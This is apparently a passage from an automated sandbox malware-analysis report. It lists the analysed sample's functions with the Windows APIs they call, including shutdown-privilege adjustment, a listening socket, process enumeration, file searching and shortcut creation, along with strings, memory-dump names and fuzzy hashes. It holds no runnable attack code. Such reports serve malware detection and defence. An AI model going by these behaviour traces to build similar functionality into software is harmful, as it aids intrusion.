NtdllDialogWndProc_W.NTDLL(?,00000202,?,?,00000000,00000001,?,?), ref: 002BC48F

Strings

pr/, xrefs: 002BC3FD
@GUI_DRAGFILE, xrefs: 002BC424
pr/, xrefs: 002BC438
@GUI_DROPID, xrefs: 002BC3E1

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: AsyncStateWindow$CaptureClientCursorDialogLongMessageNtdllProc_ReleaseScreenSendText
String ID: @GUI_DRAGFILE$@GUI_DROPID$pr/$pr/
API String ID: 973565025-637546867
Opcode ID: bfc96062bff4ca0afa12a89be62243360153a5eb6554a75ac39c1a02fdc5dafa
Instruction ID: 03030e41d313640bbc8af8b521ffee148fa33854b634b11241a35c5a90e65627
Opcode Fuzzy Hash: bfc96062bff4ca0afa12a89be62243360153a5eb6554a75ac39c1a02fdc5dafa
Instruction Fuzzy Hash: 15518B70214305AFD710EF24DC59FAA7BE5EB88390F10492DF9958B2A1CB71A968CF52

Function 00244140 Relevance: 13.4, APIs: 1, Strings: 6, Instructions: 1132COMMON

Download Yara Rule

Strings

Oa$, xrefs: 00244984, 00278173
VUUU, xrefs: 00244520
ERCP, xrefs: 0024421F
VUUU, xrefs: 00277B0C
VUUU, xrefs: 002444DB
VUUU, xrefs: 002444ED

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID:
String ID: ERCP$Oa$$VUUU$VUUU$VUUU$VUUU
API String ID: 0-3200402202
Opcode ID: b2e7d6b856e8c1ec2d201e9fa14b56e44ee1c8a8ea13145847b655fe532d0678
Instruction ID: e58c550866397a0cbd9ac7a904d8471169b2a39af57b50b665d8bf1a03a726f4
Opcode Fuzzy Hash: b2e7d6b856e8c1ec2d201e9fa14b56e44ee1c8a8ea13145847b655fe532d0678
Instruction Fuzzy Hash: E1A29170E2421ACBDF28DF58C9447ADB7B1BF54314F24C1AAD85AA7280E7709EA1DF50

Function 0029F65E Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 120filesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00237F41: _memmove.LIBCMT ref: 00237F82

FindFirstFileW.KERNEL32(?,?,*.*,?,?,00000000,00000000), ref: 0029F6AB
Sleep.KERNEL32(0000000A), ref: 0029F6DB
_wcscmp.LIBCMT ref: 0029F6EF
_wcscmp.LIBCMT ref: 0029F70A
FindNextFileW.KERNEL32(?,?), ref: 0029F7A8
FindClose.KERNEL32(00000000), ref: 0029F7BE

Strings

*.*, xrefs: 0029F690

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Find$File_wcscmp$CloseFirstNextSleep_memmove
String ID: *.*
API String ID: 713712311-438819550
Opcode ID: 5211689d7d91307b66f15487b13aaadf5811559681b8b210e31460896fc2f88c
Instruction ID: f341c12aadba730fa2994a1bac54edf09527d498e7ac36fe13d973a227bfebc4
Opcode Fuzzy Hash: 5211689d7d91307b66f15487b13aaadf5811559681b8b210e31460896fc2f88c
Instruction Fuzzy Hash: 8941627192021A9FDF95DFA4CD49AEEBBB4FF09310F144569E815E2190DB309EA4CF50

Function 002BD74C Relevance: 12.3, APIs: 8, Instructions: 257windownativeCOMMON

Download Yara Rule

APIs

Part of subcall function 00232612: GetWindowLongW.USER32(?,000000EB), ref: 00232623

GetSystemMetrics.USER32(0000000F), ref: 002BD78A
GetSystemMetrics.USER32(0000000F), ref: 002BD7AA
MoveWindow.USER32(00000003,?,?,?,?,00000000), ref: 002BD9E5
SendMessageW.USER32(00000003,00000142,00000000,0000FFFF), ref: 002BDA03
SendMessageW.USER32(00000003,00000469,?,00000000), ref: 002BDA24
ShowWindow.USER32(00000003,00000000), ref: 002BDA43
InvalidateRect.USER32(?,00000000,00000001), ref: 002BDA68
NtdllDialogWndProc_W.NTDLL(?,00000005,?,?), ref: 002BDA8B

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Window$MessageMetricsSendSystem$DialogInvalidateLongMoveNtdllProc_RectShow
String ID:
API String ID: 830902736-0
Opcode ID: 68bb08469d048f83c92f87c20ae89eeb46cf9bef125c06e94bd8b08e470dea93
Instruction ID: 539eeb36a9230c07627cf460dc21a105deccee3b9d59776ecfedb7150389c940
Opcode Fuzzy Hash: 68bb08469d048f83c92f87c20ae89eeb46cf9bef125c06e94bd8b08e470dea93
Instruction Fuzzy Hash: 2CB18871610226EBDF14CF68C9C97FD7BB1FF04791F088169EC489A295EB34A9A0CB50

Function 002458C0 Relevance: 11.0, APIs: 7, Instructions: 532COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 00245A05
_memmove.LIBCMT ref: 00245A55
_memmove.LIBCMT ref: 00245ABB

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 82ccf272db3a726066ef820d1068d10279a8beabbc6977884d6d5cdc5d644b2b
Instruction ID: a2d0342d639124f5af577674cce67a199550c7e08248a142f1a73146a32f829c
Opcode Fuzzy Hash: 82ccf272db3a726066ef820d1068d10279a8beabbc6977884d6d5cdc5d644b2b
Instruction Fuzzy Hash: C4129DB0A20619DFDF18DFA4D985AEEB3F5FF48300F104529E846A7291EB35AD25CB50

Function 00245680 Relevance: 11.0, APIs: 5, Strings: 1, Instructions: 516COMMON

Download Yara Rule

APIs

Part of subcall function 00250FF6: std::exception::exception.LIBCMT ref: 0025102C
Part of subcall function 00250FF6: __CxxThrowException@8.LIBCMT ref: 00251041

_memmove.LIBCMT ref: 0028062F
_memmove.LIBCMT ref: 00280744
_memmove.LIBCMT ref: 002807EB

Strings

yZ$, xrefs: 00280881, 002807FF

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: _memmove$Exception@8Throwstd::exception::exception
String ID: yZ$
API String ID: 1300846289-3627473858
Opcode ID: b8c1a964ec99909db56f4e014ca42337fd7be21bd027dc2ffdf8400dca293ef4
Instruction ID: e26192dd1e5a70be74c3c334ab9e7b012f7bed7c126758ae34cd6439ce8222c4
Opcode Fuzzy Hash: b8c1a964ec99909db56f4e014ca42337fd7be21bd027dc2ffdf8400dca293ef4
Instruction Fuzzy Hash: 5E02B1B0E21215DBDF08DF64D981AAEBBB5FF44300F148069E846DB295EB31D964CF91

Function 0029545F Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 00288CC3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00288D0D
Part of subcall function 00288CC3: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00288D3A
Part of subcall function 00288CC3: GetLastError.KERNEL32 ref: 00288D47

ExitWindowsEx.USER32(?,00000000), ref: 0029549B

Strings

, xrefs: 00295489
@, xrefs: 0029548E
SeShutdownPrivilege, xrefs: 0029546B

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
String ID: $@$SeShutdownPrivilege
API String ID: 2234035333-194228
Opcode ID: c7dc9429d678be4eda697863d9518fc3540a3d231a09dcbea952fb229d301aad
Instruction ID: 1e8ba0fcb4ba41937afd27d5d0e20c11d401f4f327d5780bbc18442482b93de8
Opcode Fuzzy Hash: c7dc9429d678be4eda697863d9518fc3540a3d231a09dcbea952fb229d301aad
Instruction Fuzzy Hash: D7014C35775A221AEFB96E74EC4ABFA7258EB00342F201121FD06D60D2D6901CA047E0

Function 00243190 Relevance: 9.3, APIs: 4, Strings: 1, Instructions: 587COMMON

Download Yara Rule

Strings

Oa$, xrefs: 00243482

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: __itow__swprintf
String ID: Oa$
API String ID: 674341424-3294801368
Opcode ID: e404a53aae99b891b8c4deffb6629ef52674d17b5f44db40787c189ac34f5d3f
Instruction ID: 7270a5c1ccfced648794541ec8483ee9bbd67810edf8a884dfaf3ce02e83fccd
Opcode Fuzzy Hash: e404a53aae99b891b8c4deffb6629ef52674d17b5f44db40787c189ac34f5d3f
Instruction Fuzzy Hash: F7229F715283019FD728DF24C881B6FB7E4AF88714F10491DF89A97291DBB1EA64CF92

Function 002A6596 Relevance: 9.1, APIs: 6, Instructions: 84networkCOMMON

Download Yara Rule

APIs

socket.WS2_32(00000002,00000001,00000006), ref: 002A65EF
WSAGetLastError.WS2_32(00000000), ref: 002A65FE
bind.WS2_32(00000000,?,00000010), ref: 002A661A
listen.WS2_32(00000000,00000005), ref: 002A6629
WSAGetLastError.WS2_32(00000000), ref: 002A6643
closesocket.WS2_32(00000000), ref: 002A6657

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: ErrorLast$bindclosesocketlistensocket
String ID:
API String ID: 1279440585-0
Opcode ID: 861b68d51c0feb315c9b964d2c1461fef12d37b497db7b8f8568c7e5cc7bb46f
Instruction ID: c0b5698a9ec2f379de2089f58f1571a48e29cf3ccef87ef0a9ac804410c66521
Opcode Fuzzy Hash: 861b68d51c0feb315c9b964d2c1461fef12d37b497db7b8f8568c7e5cc7bb46f
Instruction Fuzzy Hash: 1B21CC746102009FCB00AF24DD8DB2EB7B9EF4A720F148269E95AA72D1CB70AD609B50

Function 00231287 Relevance: 7.9, APIs: 5, Instructions: 379nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 00232612: GetWindowLongW.USER32(?,000000EB), ref: 00232623

NtdllDialogWndProc_W.NTDLL(?,?,?,?,?), ref: 002319FA
GetSysColor.USER32(0000000F), ref: 00231A4E
SetBkColor.GDI32(?,00000000), ref: 00231A61

Part of subcall function 00231290: NtdllDialogWndProc_W.NTDLL(?,00000020,?), ref: 002312D8

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: ColorDialogNtdllProc_$LongWindow
String ID:
API String ID: 591255283-0
Opcode ID: cb1029b329849677e74a100a52fa44282056de9d143efdcf23f73712e8b7718f
Instruction ID: d0b83d8c49af33d404d9576cfe6a0cf8ee6ea1ab327c1dcb81cba41d45b55e43
Opcode Fuzzy Hash: cb1029b329849677e74a100a52fa44282056de9d143efdcf23f73712e8b7718f
Instruction Fuzzy Hash: 7AA177F1131546BEEB29AF289C48EBF259DDB46386F24011AF402D6192CE609DB1D6B1

Function 002A6A5A Relevance: 7.6, APIs: 5, Instructions: 141networkCOMMON

Download Yara Rule

APIs

Part of subcall function 002A80A0: inet_addr.WS2_32(00000000), ref: 002A80CB

socket.WS2_32(00000002,00000002,00000011), ref: 002A6AB1
WSAGetLastError.WS2_32(00000000), ref: 002A6ADA
bind.WS2_32(00000000,?,00000010), ref: 002A6B13
WSAGetLastError.WS2_32(00000000), ref: 002A6B20
closesocket.WS2_32(00000000), ref: 002A6B34

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: ErrorLast$bindclosesocketinet_addrsocket
String ID:
API String ID: 99427753-0
Opcode ID: 294f0883d8f6f88cd436c018fa677e19291c477978677c431f6eeba2b744b4d0
Instruction ID: bbd72c185f6e7a6029084a4d604b2f20694e3f0fa03d2126b94379b96c53b98c
Opcode Fuzzy Hash: 294f0883d8f6f88cd436c018fa677e19291c477978677c431f6eeba2b744b4d0
Instruction Fuzzy Hash: D441D7B5720210AFEB10AF24DC8AF6E77A5DB05714F048158F95AAB3C2CBB45D508B91

Function 002B55FD Relevance: 7.6, APIs: 5, Instructions: 69windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 002B564C
IsWindowEnabled.USER32 ref: 002B565A
GetForegroundWindow.USER32 ref: 002B5667
IsIconic.USER32 ref: 002B5675
IsZoomed.USER32 ref: 002B5683

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Window$EnabledForegroundIconicVisibleZoomed
String ID:
API String ID: 292994002-0
Opcode ID: 90d1778d260b48dc74614bd921f9c1d6f56025549f2e77b93401bf700d234f64
Instruction ID: 4e55c12481480d06a1f57bffa296680a2989c654ee7f2bbcfa429d1543f301bf
Opcode Fuzzy Hash: 90d1778d260b48dc74614bd921f9c1d6f56025549f2e77b93401bf700d234f64
Instruction Fuzzy Hash: E811E7717209216FE7212F26EC48BAFB79CEF447A1F844129F946DB241CB70D911CEA4

Function 0029C602 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 279comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0029C69D
CoCreateInstance.OLE32(002C2D6C,00000000,00000001,002C2BDC,?), ref: 0029C6B5

Part of subcall function 00237F41: _memmove.LIBCMT ref: 00237F82

CoUninitialize.OLE32 ref: 0029C922

Strings

.lnk, xrefs: 0029C631, 0029C659, 0029C663

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize_memmove
String ID: .lnk
API String ID: 2683427295-24824748
Opcode ID: fe7d8553846125ed2233d92a78be5e296826cdd83b9ff25fc1b6654ef89d7c28
Instruction ID: d246330bfec1ecb7a02007b657d12810fa5ef726b23aa8990e2eb2eec01141a8
Opcode Fuzzy Hash: fe7d8553846125ed2233d92a78be5e296826cdd83b9ff25fc1b6654ef89d7c28
Instruction Fuzzy Hash: F0A12BB1224205AFD700EF54C881EABB7ECFF95704F004A6CF19697192DBB0AA59CF52

Function 002AF121 Relevance: 6.2, APIs: 4, Instructions: 164processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 002AF151
Process32FirstW.KERNEL32(00000000,?), ref: 002AF15F

Part of subcall function 00237F41: _memmove.LIBCMT ref: 00237F82

Process32NextW.KERNEL32(00000000,?), ref: 002AF21F
CloseHandle.KERNEL32(00000000), ref: 002AF22E

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32_memmove
String ID:
API String ID: 2576544623-0
Opcode ID: 51ec6bc9e1a828cec2587f0b9029fdc6a23b2c854aa38c2a1e7d221079f27e0e
Instruction ID: 71ff87ed2a81bc396145fb697d8e4290a3206707f81127396378ab42735202e0
Opcode Fuzzy Hash: 51ec6bc9e1a828cec2587f0b9029fdc6a23b2c854aa38c2a1e7d221079f27e0e
Instruction Fuzzy Hash: C2518DB1524311AFD320EF24DC85A6BB7E8FF99710F10492DF49597291EB70A914CF92

Function 002BC788 Relevance: 6.1, APIs: 4, Instructions: 83nativewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00232612: GetWindowLongW.USER32(?,000000EB), ref: 00232623

GetCursorPos.USER32(?), ref: 002BC7C2
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 002BC7D7
GetCursorPos.USER32(?), ref: 002BC824
NtdllDialogWndProc_W.NTDLL(?,0000007B,?,?,?,?,?,?,?,?,?,?,0026BBFB,?,?,?), ref: 002BC85E

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Cursor$DialogLongMenuNtdllPopupProc_TrackWindow
String ID:
API String ID: 1423138444-0
Opcode ID: 6d99a0475158a01ae19d490fdf994fa6b4e0eed24476805d1a1a54b97734b402
